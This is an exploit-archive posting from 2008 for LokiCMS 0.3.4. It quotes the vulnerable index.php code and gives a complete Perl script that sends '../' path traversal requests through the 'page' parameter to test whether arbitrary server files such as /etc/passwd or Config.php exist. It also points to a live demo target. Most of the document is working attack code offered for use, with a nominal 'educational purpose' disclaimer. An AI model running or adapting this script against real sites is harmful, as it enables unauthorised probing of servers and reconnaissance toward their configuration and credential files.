Home / exploits

PDF

lokicms-check.txt

Posted on 13 October 2008

# LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit
# url: http://www.lokicms.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

vulnerability:
The vulnerability allows to verify the existence of the files and directories around the server.
/etc/passwd (example)

vuln file: index.php
vuln code:
------------------------------------------------
if ( isset ( $_GET ) && isset ( $_GET['page'] ) ) $pagename = stripslashes ( trim ( $_GET['page'] ) );



// load the page

if ($pagename == '') {

$name = $c_default;

$nosimple = true;

} else {

$name = $pagename;

};



if ($c_simplelink == true && $nosimple != true) {

$content = findpage($name);

if ($content == "") {$content = $c_default;};

} else {

$content = $name;

};



// stupid fix due to subdomain problems

if ($c_modrewrite != true && $pagename != '') {if (file_exists(PATH . "/pages/" . $content) == false) {$content = $c_default;};};



// load the menu

$menu = getmenu($content, $c_modrewrite, $c_simplelink);



$content = parsepage($content);
------------------------------------------------

use strict;
use LWP::UserAgent;

sub lw
{

my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
}

}

&lw;

print "#################################################################
";
print "#  LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit  #
";
print "#################################################################
";

my $victim = $ARGV[0];
my $file = $ARGV[1];

if((!$ARGV[0]) && (!$ARGV[1])) {
print "
[x] LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit
";
print "[x] written by JosS - sys-project[at]hotmail.com
";
print "[x] usage: perl xpl.pl [host] [file]
";
print "[x] example: http://localhost/loki/ /includes/Config.php

";
exit(1);
}

print "
[+] connecting: $victim
";
my $cnx = LWP::UserAgent->new() or die;
my $go=$cnx->get($victim."index.php?page=../$file");
if ($go->content =~ m/LokiCMS/ms) {
print "[-] The file not exist

";
} else {
print "[!] The file exist: $file

";
}

# live demo: http://demo.opensourcecms.com/lokicms/

 

TOP